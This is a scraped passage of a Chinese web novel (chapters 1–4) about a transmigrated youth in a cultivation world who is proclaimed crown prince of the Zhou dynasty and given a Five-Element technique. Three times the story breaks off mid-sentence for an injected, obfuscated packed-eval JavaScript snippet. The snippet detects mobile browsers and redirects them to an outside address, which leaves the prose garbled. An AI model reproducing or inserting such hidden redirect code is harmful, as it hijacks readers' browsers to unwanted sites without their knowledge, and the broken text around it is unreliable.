《全修仙界都以为我隐藏实力》 1. 第 1 章 天断谷终年浓雾,从无人烟。 此刻却有一行人在山谷中奔逃,躲避着什么凶残的存在。 “他们应该不会追进天断谷了。”满是庆幸的声音响起,“我们也得快些出去,这里毕竟是五大险地之一……” 他的话没有说完,前方氤氲的雾气忽然散开,一道人影突兀地出现在众人面前。 众人齐齐停下脚步,浑身一震。 这道背影看起来平平无奇,没有透露出任何不同寻常的气息,但这反而让人更加难以放心。 带队的男子上前一步,将同伴们拦在身后,警惕地注视着这道背影。 他们这一路走来,几次被逼入绝境。原来一行共十五人,现在只剩三人,还个个带伤。 出现在天断谷的生物,岂有善类? “敢问前辈尊姓大名?”头领拱手,恭敬询问,“有何贵干?” 他不觉得这只是偶遇。 天断谷连半个活人都没有,这人要么是前辈大能,要么……并不是人。 他屏住呼吸,单手掐诀,元气运转,倘若对方出手,就可以用最快的速度逃跑。 出乎意料的是,对方缓缓转过脸来,却是一张秀丽的少年面孔,看起来人畜无害,温和平静。 队长恍惚了一瞬,又立即醒悟:越是年轻,越不是什么好东西,这一定是个老妖怪! 他心中更加警惕。 等了一阵,那少年终于开口,声音也很温和:“我没见过你们,你们是隔壁村的?” 队长愕然,心念电转,顺着他的话往下说:“前辈明鉴,我们是误入此地,只是找不到出去的路了。” 周见素回头看了一眼身侧的小路。 这路不是挺清楚明白的? 整个天断谷后山就这一条路,哪里有迷路的可能? 他没有多想,挥了挥手里的竹竿,转身朝小路走去:“那我带你们出去吧。昨天才下过雨,小心路滑。” 三人唯唯诺诺,对视一眼。 随着此人前进的方向,浓雾也逐渐散开,一条山路从虚空中浮现,好像一直存在,只是他们根本没有发现。 三人面面相觑。 “走吗?” “走吧?” 脚下踩的的确是土地,三人放心了些,快步跟上。 少年的背影并不高大,反而有些瘦削,然而在三人心中,他却无比神秘。 这样从容不迫的态度,这样高深莫测的动作,这样举重若轻的实力。 这不可能是一般人。他究竟是山妖?还是哪个隐居老怪? 周见素一边带路,一边随手捡走路边的药草。 天断谷偏僻无人,山谷中的叔叔婶婶对这些药草也并不热衷,倒便宜了他。 他身体不好,捡些药草卖钱,能抵些药费,否则也不会大清早往深山里跑。 头领见他走走停停,心里着急,却又不敢催促。 老怪们有点一般人理解不了的怪癖,这很正常。他纠结了好一会儿才说:“前辈,我这里有些小心意,劳您费心送我等出谷,我们赶路有些着急……” 担心对方翻脸,一边取出随身法宝,双手奉上。 “不用叫我前辈。”周见素对这个称呼敬谢不敏,忍不住怀疑自己是不是真的这么显老。 而且现在时间还早,才是清晨,就算赶时间…… 不过他转念一想,可能这些人忙着做别的事情吧。 于是他不客气地收下对方递过来的东西,加快脚步:“那你们要跟紧,这条路有些陡峭,以前有人摔下山谷里,连尸体都没有找到。” 听见这句话,身后三人脸色更白了些。 这是威胁吗?这是威胁吧?! 周见素没有回头,自然不知道他们丰富的心理活动。 这条路他走了两个月,堪称健步如飞。 在他身后,三个小心警惕的鹌鹑紧随其后,每一步都不敢踩实。 他们看得清楚,在这神秘老怪的竹竿下,灵怪异兽纷纷退散。三人走来时危险万分,此刻倒像是普通山路一般。 很快,一个村落出现在他们眼前。 村民拥上前,热情地招呼起来:“见素,今天回来得真早!” “我熬了甜汤,来喝两口吧。” “你身体不好,怎么老是到处乱跑,钱不要急着还,还是回去休息一会吧?” 周见素一边回应众人的问候,一边向他们介绍自己身后的几人。 “我回来喝口水,他们在山里迷路了,马上还得送他们出去,不留了。” 队长看见这群人,又惊又疑。 他正要上前说两句,原本热闹的人群忽然停滞下来,所有人维持着上一刻的动作,像是有个无形的存在,凝固了这一方空间。 “……”队长冷汗直冒,一瞬间只想夺路而逃。 他暗暗叫苦,这到底是什么鬼地方? 传说中天断谷有来无回,难不成他崔山青真要死在这里不成? 袖子微微震动,是下属在问:“大人,要不要杀出去?” 崔山青拦住他的动作,咬牙道:“先不急。” 周见素恍若未觉,对崔山青笑道:“我们走吧。” 崔山青战战兢兢地问:“是这么走的吗?” “当然。”周见素不乐意了,“这是我家,不会错的。” 一行人加快脚步,周见素还带着自己那个巨大的背篓,琢磨着带去镇上买个好价钱。 崔山青认不得路,在山里迷迷糊糊转了好几圈,心里直嘀咕。 终于,前方的雾气完全散开,天空变得晴朗。 崔山青险些喜极而泣,不敢耽搁,正要从储物戒里取出法宝道谢,余光忽然瞥见一行人的身影。 他浑身一僵,像是看见了恶鬼,浑身汗毛倒竖。 他脸色难看,周见素于是也顺着崔山青的视线看去。 那是一群衣着富贵的修士。 但周见素看的并不是他们华贵的衣着,而是这群人身上的宝物。 宝物灵光自敛,饶是如此,也看得出来不是俗物。 来头很大啊…… 周见素心中微动,往后退了一步。 他只想安安稳稳地活着,这群人看上去来者不善,还是有多远躲多远为好。 来人的首领是个中年男子,作书生打扮。此时也正朝他们看来,微微颔首,笑得春风拂面:“崔兄,又见面了,好巧。” 崔山青脸色发绿,左右环顾。 现在还是天断谷范围,这行人刚好堵住了出谷的路,天断谷内法宝无用,连救兵都搬不了。 他只得假惺惺地笑:“季大人,确实真巧呐。” 一边说着,一边移动脚步,灵巧地躲到周见素身后。 周见素:“……” 随着崔山青的脚步,季大人的目光也落到周见素身上,露出意味深长的笑容:“这位是……?” 周见素拱手,迷茫又诚恳地回答:“路过。” 还是早点溜走为妙。 他刚抬脚,这位季大人也跟着横跨一步,正好堵住他的去路:“小公子,敢问你可是天断谷人?” 周见素纹丝不动,只静静看着他。 “小公子不用担心。”季大人彬彬有礼地拱手,“我们是来此地寻亲的,他大约两个月前来到此地,不知你可曾见过?” 两个月? 这个关键词让周见素上了心。 他并不是这个世界的土著。 周见素原本生活在蓝星,两个月前加班猝死,醒来时就到了这里。 两个月的时间,他对这个世界也算有些简单的认知。 这里科技并不发达,但修行之道盛行。修仙门派独立世外,皇朝治理天下。而他所在这个名叫镇天府的城池,则是名副其实的三不管地带。 周、崔、楚,三大皇朝在此地交战多年,也许有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648329|206821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么布局,周见素都不太在意。 他只是一个凡人,并不想参与这些乱七八糟的纷争之中。 但…… 这么巧?两个月? 被堵着路,周见素走不掉,他心中疑虑,迟疑一瞬。 他想了解自己这具身体的事情,趋利避害的本能却让他退缩。 然而只是短暂的迟疑,那人却敏锐地发觉了,立即上前一步:“还请小公子替我等带路,我们必有厚报。” 崔山青刚才还恨不得逃走,这会儿却不急了,伸着脖子窥探他们。 周见素想起他姓崔,猜出他并不是所谓隔壁村的村民,恐怕是崔朝的达官显贵,不太高兴地转过身:“崔大人慢走,我就不送了。” 崔山青碰了个软钉子,虽然还想继续看戏,也不好多呆,只得告辞。 他朝周见素拱了拱手,看也不看前方的季大人,拔腿就走。 一边走,他还在心里琢磨:季明这无利不起早的性子,来这里干什么? 难不成真是来找人? 这人一定很重要……要不要留下来偷窥呢? 试探着回头一看,身后雾海猛地翻滚,崔山青立即打了个哆嗦:也罢!偷窥什么时候不能窥,还是小命要紧! 周见素在前方引路,状似无意地问:“你的家人叫什么名字?” 季明摇头:“我不知道。” 周见素脚步微微一顿。 他再次确定这群人不怀好意,只是看着这一行人的模样,个个都能一拳打死自己,立即将想说的话又咽了回去:“你不知道,那我怎么带你寻人呢?” 季明诚恳道:“我确实不知道。” 不等周见素说话,他立刻解释:“小公子别生气,我的确骗了你,其实我来找的不是家人,是我家的少主。” 他话音刚落,身后有人小声道:“喂,你怎么什么都往外说?” 季明轻轻拨开身后的手,凝视着周见素年轻的脸,仿佛再次确认了什么。 随即他后退一步,一揖到底,沉声道:“臣,太子太师季明,请太子殿下回朝!” 余音回荡,久久无人出声。 这一行人十来人,个个盯着周见素,疑惑地互相对视。 周见素条件反射地一退,勉强笑道:“先生认错了吧?” 太子? 周见素心跳疯狂加速,震得他浑身发麻。 谁家的太子? 季明上前一步,挡住身后众人,郑重道:“绝不会认错。陛下两月前出关,感知到您的气息,因此派遣我等将您接回皇庭。” 季明认真地看着他,众人也紧盯着周见素,不错过他的一举一动。 周见素当然不想承认。 什么太子? 无论是哪个皇朝,让他一个凡人当太子,要么是拿他当耗材,要么是衰落得不成样子。 周见素更倾向于自己是靶子,随口说:“兴许你搞错了,天断谷里有许多村民……” “殿下。”季明打断他的话。 “陛下年迈,重伤垂死,我朝多年无人主持大局,群狼环伺,你当真要装聋作哑?” 这一番道德绑架,周见素顿时哑口无言,想起自己夺舍了别人的身体,终究还是有一点羞愧。 他无奈地扯了扯嘴角:“先生真的认错了……” 季明矜持地微笑:“殿下何必自欺欺人?” 那表情里分明写着:我早就知道了。 周见素盯着他,瞥见他眼神里还写着:再不承认,我就给你绑回去。 周见素默了默,终于松口:“我回去收拾一下。” 季明低声催促:“殿下,我们必须快些离开。东西臣安排人来收拾,我们先走吧?” “这么急?” “很急。”季明迅速道,“刚才那人就是崔朝的探子,他们混入天断谷,居心不良。楚朝一定也有人赶来,殿下被我们接走,此事不能善了了。” 2. 第 2 章 周见素听得一阵头大。 他看过修仙小说,除了主角,大部分人都没啥好下场。 周见素很有自知之明。 他是主角?什么主角会007猝死? 既然如此,作为路人甲,想要活得久,首要任务是避开可疑人士,其次是不要掺和任何不太安全的事情。 现在他干的这些事情,就是在找死的边缘蹦迪。 周见素心中纠结,季明等不到他回答,耐心全无,猛然探手抓住他的肩膀,拔地而起。 周见素身不由己,腾空而起,冷风拍在脸上,立即闭上眼睛。 季明在他身侧轻笑:“殿下,咱们先找个地方落脚,臣还有些话想与你说。” 两人坠入镇天府中,化作普通人的模样,找了个客栈住进去。 周见素跟在季明身后。 他来府城的时间很少,第一次出门时测了个灵根,后面几次都是采购生活用品,没空闲逛。 两人上了二楼,站在窗边向外看去。 季明忽然问:“殿下这样看过镇天府吗?” 镇天府地属边城,三朝交界之地。 长街上人口并不稠密,几道澎湃的元气忽然冲天而起,这些威能莫测的身影跃入空中,彼此对抗。 “没有。”周见素看也不看那些人,坦率回答,“季大人,我说句实话,您不要生气。你找来之前,我并不知道自己的身份,更不知道您尊姓大名,您叫我这声殿下,恐怕为时尚早。” 季明立刻自我介绍:“我是周朝太傅。当今陛下御极万余年,膝下唯有二子。” 周见素诚恳道:“那太好了,陛下既然还有一子,应该不是非要我不可吧?不过,你们如果确认我的身份,我一定会配合。” 季明沉默。 周见素再怎么心大,也发现了不对劲。季明的反应…… 他心里隐隐有些猜想,果然季明开口道:“长公子已经陨落万年。” “……节哀。” “殿下,你现在走不了了。”季明指着长街,“不出今日,全天下都会知道我从此地带走了周朝的继任者。你要独善其身,恐怕很难。” 周见素陷入沉默。 他并不是没有考虑过这个问题,闻言轻声问:“那么季大人分明知道我危险至极,却不立刻回朝,是另有打算?” 季明笑笑:“殿下来得不情不愿,如果不张扬些,臣怕殿下会悄悄离开。” 周见素看着季明的脸,分明儒雅温和,却怎么看都不安好心。 不安好心的家伙笑道:“殿下放心,我一定护你周全。不过有一件事,我还要告知殿下——” “季大人。”周见素冷不丁打断他的话,“我是五灵根。” 季明的声音戛然而止,猛然转头看向他。 周见素淡定地摊开手:“我查过,五灵根,如假包换。” 和他想象的一样,季明脸色骤变,一张脸上五颜六色,好不精彩。 季明猛地抓住他的手腕,元气在经脉中穿行向下,直抵灵台。 元气冲得很猛,季明的心情可见一斑。周见素耐心地等待着,终于,季明五指徐徐松开。 周见素说出自己准备好的台词:“季大人,我并不是推脱,只是我这天赋,恐怕担不起一朝重担——” 话音未落,季明已经老泪纵横。但最出乎意料的是…… 那眼泪更像是喜极而泣。 周见素停住:这是正常人的反应吗? 季明哽咽:“老天有眼,预言果真无错!我周朝果然还有一线生机!” 周见素看呆了。 季明哭够了,眼泪蒸发,瞬间又变回刚才仙风道骨的模样。 他精神抖擞:“殿下无需担心,我这里正好有一卷五行修炼仙诀。” 周见素恨不能立刻撇清关系,忙道:“这我有。” 他挥挥手,从袖子里噼里啪啦掉出来五本书册,分别是金木水火土,五种灵根的入门修炼口诀。 是他从崔朝学堂拿来的引气法。 季明拿起其中一本,翻看两页,发出两声讥讽的笑:“什么破烂玩意,岂能和我朝混沌五行诀相提并论?崔朝这些垃圾也敢往外摆,真不害臊。” 周见素:“……”他学的就是这种垃圾。 “殿下不用学这些。”季明十分鄙夷,挥手之间捏成齑粉,“五灵根岂是学五种引气法?简直可笑。崔朝给你这口诀,当真误人子弟,殿下还是学我这门法诀,一日引气入体,百年内即可飞升!” 周见素:“……” 他擦了擦脑门上的汗,感觉自己是上了贼船,这口号喊得和诈骗似乎没有什么区别。 季明鄙夷完崔朝的粗陋引气法,拂袖转身,从储物戒中掏出一枚玉珏。 玉珏上五光流转,正是五行之力,又有道纹隐隐浮现,发出若有若无的钟鸣声,显然不是寻常之物。 “殿下请自行查看,若有不通之处再来问我吧。” 不靠谱的老师丢下自习任务,留周见素一人默默感悟,独自走到窗边,注视着远处的学堂。 三大王朝在镇天府争权夺势,各有布置。 凡人如果有修仙问道之心,年满五岁即可测验灵根,进入学堂。一旦入了学堂,就是王朝学子,承接这份因果,来日必须报答。 周见素不清楚这些弯弯绕绕,因此走到了崔朝的地盘上。季明对此无奈中还有些感慨:幸好没去楚朝。 他屈指轻弹,手中玉佩随风而去,化作流光坠入崔朝学堂之中。 只是五本记录引气入体口诀的书册,了却因果,倒也不算贵。 季大人在客栈里滴溜溜转了两圈,又给同行几人传讯:拦截尾随之人。 很快对面传来讯息:已经杀了。 季明这才放心下来。 周见素盘膝坐在床榻上。 起初他并不想接触这枚玉珏,谁知手指还没碰到玉片,一道神识骤然闯入脑海,意识犹如被生生拉扯出肉身,剧烈的疼痛和眩晕同时席卷了他。 等他再次清醒,已经身处另一方天地。 这片天地上清下浊,唯有一道灰色的气息在虚空中浮沉。 周见素小心翼翼地飘上前,此时他不再拥有肉身,却反而轻快了许多,身形也高大许多。 那道灰色的光影朝他飞来,绕着他上下飞舞,似乎在观察着什么。 “年轻人。” 周见素还在思考,一道声音突然在耳边响起,听起来似乎是个很年轻的家伙,用词却老气横秋。 “在外面躲躲藏藏,怕我害你?” 周见素抬头张望,只见前方不知何时出现了一道顶天立地的人影,白袍白发,他看不清这人的脸,因为…… 这是一个背影。 周见素往一旁走了两步,那背影屹立不动,但无论从哪个角度来看,都只有一个背影。 怕当然是怕的,但周见素不会直说。他拱手道:“敢问前辈尊姓大名?” “你不用知道。”背影徐徐道,“知道得越多,死得越快,这不是现在该问的事情。” 周见素不再说话。 虽然季明看上去非常诚恳,但初见一面,他不可能如此轻易地相信对方。 前辈大能蹲守各种宝物之中,等待有缘人的肉身夺舍之类的故事,也并不罕见。 那身影背着手,在天地之间缓缓踱步,也许是窥见了周见素的内心,他忽然冷笑一声:“怕死?” 周见素没有说话。 怕死不是什么值得羞耻的事情。 身影上上下下地打量他:“你怕得没有错。小子,你快要死了。” 这句话没头没尾,周见素微微愕然,却并没有反驳。 “你体弱多病,并不是过于弱小,恰恰相反。”背影悠悠道,“你的灵识过于强大,反而压迫你的肉身。” 他手指点了点周见素的大脑:“压迫到某一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648330|206821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,它就会像水球一样……嘭,爆开。” 灵识和肉身并不是不相干的关系。 人本由灵识和□□组成。灵识和□□一同强大,彼此密不可分,这才是正常的。 前世他的身体就一直不太好,难道果真和这人所说的一样? “肉身修炼也很简单,我这里正有解决的办法。”周见素陷入长久的沉默,背影看他终于消停,满意地点点头,并指点在他额上,“混沌五行诀,乃吾早年友人所赠,今日交予有缘人,保你飞速进展,绝无撑破灵海那一日。” 手指动作很慢,在周见素眼中,却迅如雷霆。他来不及闪躲,被一指点中,意识中立即多出一篇陌生的引气诀。 身影登时哼笑:“好小子,别人想求都求不得,你还躲?给我回来!” 身影手指勾动,周见素被他捏在手心,灰光在眼前凝固。 对方再次指尖发力,灰光犹如一条编织完整的布匹,剥离出五道大小完全相同的五彩光芒。 周见素抬眼看去,呼吸越发沉重。 五道元气,此刻化作本源,形态各异。 他逐一扫视,清晰辨认出,那正是纯粹的五行之力。 “今日,老夫便助你一臂之力。”背影双指用力,五行之力被他控制得服服帖帖,从周见素头顶没入,沿经脉而下,直抵灵台。 “唔……!” 巨大的撕裂的痛苦传来,经脉承担不住过于旺盛的五行元气,霎时间鲜血四溢。 周见素压住几乎要冲口而出的痛呼,双手掐诀,混沌五行诀心法随心而动。 背影见他似乎还能承受,元气再次涌动,口中厉喝:“运诀!抱元守一,心神莫动!” 周见素依言行动。 他能感觉到巨大的痛苦。 金火擅攻伐,在前方撕裂经脉。水土沉重,追在中间压迫五脏六腑。木擅治疗,尾随在后,逐一修复伤口。 这五行元气配合默契,只是苦了他,死也死不了,只能看着肉身被反复撕裂再重组。 “放开束缚!”背影再喝,“让它们走!” 周见素闷哼一声,没有反驳。 这不是正常的引气入体,强行压入体内的元气不受他控制,如果不是这个前辈,他一定已经被强横的力量撕成碎片。 现在他骑虎难下,只有拼一把。 周见素选择放开对元气的控制,稳固心神,内视灵台。 修行之路自灵台起。 灵台之中有灵根。以灵根吸纳元气,炼化元气,这是统一的入门法诀。 因此,灵根是修行之路的重中之重。 在周见素的灵台里,也有一道灵根扎根。这株灵根只有根须,没有枝叶,姿态舒展,根须蔓延至灵台的每一个角落。 “上古修行法,从来没有说过五灵根是废灵根。”背影收回手,声音含着叹息,“五灵根若修行有成,强横无匹。可惜五种灵根,五种属性,如果齐头并进,何时才能得证大道?” 周见素闷声问:“前辈的意思是……?” “那崔朝小儿看出你与常人有异,交给你五篇引气法门,是有意结交。”背影轻嗤一声,“可惜他反倒误了你的修行。” 那五篇引气法门还摆在客栈的桌上。周见素将这几篇法门对比,确实现在这一篇法门要高深些。 如果有人知道他这样对比,一定会被他气死。这种上古法诀,大多有价无市,能将五行化为一体,更不知超出那五篇入门法多少。 结果到了周见素嘴里,就成了“好些”。 好在背影并不在意他的想法,兀自摸着下巴:“姓崔的敢抢人,干脆让季明一刀砍了算了?” 周见素:“……” 你们修仙界好凶残。 “算了,看在他没搞什么幺蛾子的份上。”背影从打打杀杀中清醒过来,挥手把他丢了出去,“呆这里干嘛,回去吧,幸亏你遇见我,这种机缘,过了这村可没这店了。” 3. 第 3 章 周见素不知道过了多久。 灵台之中的一切似乎只是一瞬,又似乎是天长地久。 直到五道元气撞破他的肉身,又重新缝补弥合,最终在灵根处停驻脚步,他才终于大汗淋漓地睁开眼睛。 那道背影的声音犹在耳边:“年轻人,这五道元气生自混沌,混沌五行诀先修五行,再练混沌。有它们替你打牢根基,才算走在他人前头。” 周见素很想回答他,但发出来的声音却嘶哑无比,只得眨眨眼,当做听见了。 他转头看去,窗口大开,华灯盏盏。原来不是一瞬,是他真的被折磨了一个下午。 周见素试图站起身,这才发现自己的衣服已经被鲜血浸湿,无数破碎的伤痕在皮肤上纵横交错。 他轻呼一口气,伤痕可以迅速弥合,然而身上的衣衫却脏污不堪,让他有些难受。 季明坐在桌边喝茶,见他醒来,轻轻放下茶杯:“殿下引气入体了?” 周见素点点头,又摇摇头:“元气入体,但还需要炼化,大约需要一个月。” “恭喜殿下。”季明似乎早就猜到,指了指床边摆放的衣服,“殿下先换一身衣服吧,修行不是一蹴而就,这已经算是拔苗助长了……” “碰——!!” 话音未落,楼下传来一声巨响,紧跟着有人扬声喊:“季大人分明在此,何不现身一见,难道前辈怕了在下?” 季明的声音戛然而止,脸上露出一丝冷笑。 周见素抱着衣服走上前,用视线询问,自己是不是该躲好? 季明摇了摇头,等待片刻,忽然起身。 他猛地推开房门,哐当一声闷响,将所有人的视线都吸引过来。 一楼大厅里零零散散站着几个人。周见素跟在季明身后,看见上午见过的几人都在,除此之外,还有几个陌生人,呈现对峙之势。 季明站在二楼,冷冷喝问:“楚河,你想做什么?要挑起两国大战吗?” 楚河摇摇手中折扇:“非也。” 他露出和善的笑容,诚恳得像是多年老友:“有幸听闻季太傅出关,特来讨教。素闻季大人无国别之见,大人,你不会拒绝吧?” 周见素站在季明身侧,借木桩遮挡自己的身形。 他仔细打量一楼众人,这个叫楚河的年轻人看起来文质彬彬,手无利刃,却站在最前方,季明喊话,也最先冲着他去。 楚河。 周见素隐隐猜出,这人想必就是楚朝的皇亲国戚,只是不知道究竟是什么身份。 季明脸色如常,似乎没有听出其中的挑衅意味:“你要讨教,明年我在京都开坛讲学,你自来便是。” 楚河折扇合拢,轻轻笑道:“可惜,孤已经等不及了。季大人,你在天断谷寻到了什么奇珍异宝,不如交出来给大家赏赏眼,何必如此吝啬?” 天断谷的奇珍异宝,周见素本人浑身一凉。 “什么也没有。”季明回答,“你要看,怎么不上来?” 楚河迟疑一瞬,朝左右看看,示意他们上二楼去。 季明脸上露出一丝冷笑。两个随从正要腾空而起,季明忽然上前一步,脚步落下,威压瞬间爆发! 两人被这道威压压趴在地,四肢紧紧贴在地上,竟连抬头的力气都没有! 楚河勃然大怒,强笑道:“季大人这是什么意思?” 季明冷冷道:“你们要上来就罢了,敢在本官面前飞?” “好……好!”楚河脸上挂不住,再点两人,阴鸷的目光在季明身上一扫而过。 这次季明没有阻拦,任由他们冲到自己面前。 这两人正要说话,却见季明转头向身边传音,不知说了些什么。 他们心中凛然,握住兵器。季明回过头来,果然面色不善,抡起巴掌,当场将他们扇得七荤八素,一脚踢飞出去。 这次全场都听见了季明的声音:“殿下可满意了?” 周见素是无奈的。 季明这家伙把他往死里坑,见不得他待在一旁看热闹,非得一起拖进泥坑里才高兴。 当然,他其实知道季明这么干的理由,无外乎让自己露个脸,以后想跑也跑不掉。 只是不知道什么时候起,一朝太子的身份还得强买强卖了? 整个客栈都寂静了一瞬。 良久,楚河惊疑不定的声音响起:“周竟天?你也来了?” 季明恭敬地往后一步,给周见素留出表演的空间。 周见素无奈,只好从木栏后踱步走出。 他走得很稳,刚受了伤,身体还有些虚弱。身上穿的则还是一身素袍,被血糊了满身,没来得及换。头发披散,像是从哪个战场拉出来的。 周见素学着季明冷淡的样子,淡淡道:“尚可。” 楚河看清他的脸,更加疑惑:“你不是周竟天……你是谁?” 季明在旁捧哏:“楚河殿下,此乃我朝太子。” 楚河怔在原地,将周见素细细打量一番,心中急跳。 周朝子嗣寥落,周楚两朝世仇,周朝年轻一代,他算是认得很熟了。 这是从哪里跳出来的家伙? 不认识。 不止如此,这家伙气虚无力,似乎非常虚弱,怎么看都只是个普通人。 楚河想到这里,立刻在心里否定了这个猜测。 周帝是个彻头彻尾的疯子,但也不至于疯到这个程度,摆着家里年轻天骄不用,让一个炼气期的普通人当太子。 再看周见素一身血衣…… 他在心中下了结论:这家伙不是个好惹的,刚从哪里杀了人回来? 饶是如此,楚河还是决定再试探一番:“太子?孤听说,周朝太子死了一万年,什么时候册立的新太子?怎么不曾听闻?” 这句话说得非常挑衅。 周见素既然被忽悠着当了这个“太子”,自然要维护周朝、自己的尊严,当即沉下脸,四周护卫齐齐兵刃出鞘,将楚河一群人围在中央。 其中一人冷喝道:“楚河,你敢侮辱殿下?!” “楚河。”周见素不知道他是不是楚朝太子,干脆直呼其名,“你大可以祈祷自己活得够久。” “哦?敢问有何见解。” “你若是活得不够久,孤便来不及杀你了。”周见素冷冷道,“来人,杀了他。” 季明拱手应喏,便要飘身而下。 楚河不怕护卫,却怕季明,顿时脸色大变,强笑道:“太子殿下何必动怒,说笑而已……” 他一边说着,一边暗骂:该死的崔山青,说好了一起尾随季明,逼问秘宝,人呢?! 季明这混蛋虽然只是个化神,那也不是他一个元婴后期能抵抗的! 正骂着,崔山青终于姗姗来迟,元气迸发,轰飞客栈大门:“哟,真热闹……” 他左右拱手,笑着来到最前方,看见季明冷漠的脸,笑容越发灿烂:“季大人,真巧。” 季明拂袖转身。 崔山青再转向几个老熟人,又与楚河对视一眼:“季大人,你在天断谷得到了什么,告诉我们就好,何必在这里僵持?我承认你修为高深,但本官也是化神修士,争执起来,恐怕你讨不了好处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648331|206821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 季明反问:“可笑,天断谷乃我朝属地,何时需要向你们禀告?” 崔山青惋惜道:“季大人此言差矣,镇天府乃三国之地,什么时候成了你一家的?天断谷,我崔山青也去过,很好走嘛,轻松走一趟……” “崔大人。” 崔山青还要说下去,忽然听见头顶有人叫自己的名字,循声抬头望去,很有些不耐烦。 但这点不耐烦立即化作惊悚。 他张大嘴,呆呆站在原地,试图从对方的脸上辨认出伪装的痕迹。 周见素居高临下,又叫了他一声:“崔大人,天断谷一别,今日可好?” 崔山青深吸一口气,讪笑道:“这个,托了前辈的福……” 他一边说着,左右环视,没有发现另一个可以躲到背后的人,只好杵在原地:“前辈怎么在这里?” 楚河侧目看来,崔山青恍若未觉:“真是大水冲了龙王庙,原来是一家人……” “你要杀孤?”周见素只问这一句,“你要见天断谷的秘宝,现在你已经看见了。” 崔山青恍然大悟,看看季明冷酷的侧脸,又看看周见素年轻的眉眼,苦笑起来:“原来如此。见过了,见过了,我这就走。” 他不多话,纵然心里有很多疑惑,也立刻就要退走。 楚河连忙拦住他:“崔大人这是什么意思?” 崔山青不准备和他解释,拂袖道:“殿下还是早早离开为好,惹不起的人,何必给自己找麻烦?” 不管怎么样,这少年的实力是他亲眼看见的,绝不会出错。 楚河目光一凝,惹不起的人? 他是指这个刚冒出来的周太子? 周见素立在原地,一句话都没有说。他一副胜券在握的模样,楚河满心疑惑,然而最强者要走,他独木难支,只得一咬牙:“退!” 周见素心中一松。 终于把这瘟神赶走了。 然而这还没完。他看着楚河等人将要退出客栈,忽然开口:“楚河,你闯入此地,难道没有什么想说的话?” 他当然不是要谈心,楚河也懂,当即皱眉:“你不要得寸进尺——” 周见素转头看向季明,季明上前一步。 楚河一阵憋屈,挥袖丢出一件法器,朝周见素面门激射而来。 与此同时,他纵身跃出,转瞬已经看不见人影,连楚朝众人都消失无踪。 客栈中唯有他的声音回响:“劳烦太子殿下替我保管,来日必取之!” 周见素心神一松,刚才被忽略的伤口又隐隐作痛起来,控制不住地后退两步,靠在墙上。 他抬起头,几名将领齐齐飞身上了二楼,关切地看着他。 周见素倔强地把自己摆成淡定的姿态,幽幽道:“季大人满意了?” 季明含笑道:“多谢殿下。” 周见素几乎喘不上气,失血过多使他浑身无力。季明将他扶起,转头吩咐身侧一名高大男子:“万将军,由你护送殿下回朝,不得有失。” 男子上前,拱手道:“是。” 他的目光在周见素脸上划过,声音粗犷,隐含敬佩:“殿下果然非同常人,三言两语逼退崔山青……” 周见素一阵心累,懒得解释,对季明道:“你们先走吧,我需要休息。” 人群散开,唯有那个男子还候在门外,等周见素稍作梳洗,换好衣服,他走上前来,轻声道:“殿下,行舟已经准备完毕,可以启程了。” 周见素不要他扶,倔强地走了两步,挪到行舟上,这才有空询问:“周竟天是谁?” 4. 第 4 章 万将军脸上顿时露出微妙的尴尬:“这个……” 周见素平静地问:“季大人说周朝后继无人,恐怕是骗我的吧?” 万将军顾左右而言他:“陛下要是看见殿下,一定也会很高兴……” 他连连后退,转身斥道:“速度怎么这么慢,都搞快些!不知道有人在追吗?!” 周见素站在原地,静静看他表演。 万垂云快步离开,笑声从船舱后飘来:“殿下先休息,这些臭小子不老实,臣得去看看!” 周见素其实没有生气。 他占了周朝的便宜,一道先天五行之气,已经是他还不上的道缘。 季明坑了他,也给他带来修行的契机。如果玉珏中的神秘人所言不虚,那自己更没有吃亏。 他站在甲板上怔怔出神,天边云霞漫天,风吹过脸侧,仿佛登上云端。 良久,周见素终于呼出一口浊气。 既然事已至此,兵来将挡,水来土掩,修炼才是正道,至少要足以自保。 这一路上并没有再发生什么大事。 虽然有几个家伙尾随,却全被万垂云击退。 此人不愧是周朝的大将军,周见素隔着千里,见他出手退敌,单刀出鞘,刀光贯彻天地。 什么人影都看不见,惊天动地的,唯有那一刀。 万垂云收刀入鞘,纵身重新回归行舟:“我的实力,在朝中只算中上流而已。陛下重伤已经有几千年,这事大家都知道。不过陛下也不用出手,四位人王都是天下一等一的高手,足够威慑四方!” 周见素旧事重提:“那周竟天是什么实力?” 万垂云小心地看他一眼,见他神情平静,这才回答:“小王爷是元婴大圆满。” 周见素轻轻点头。 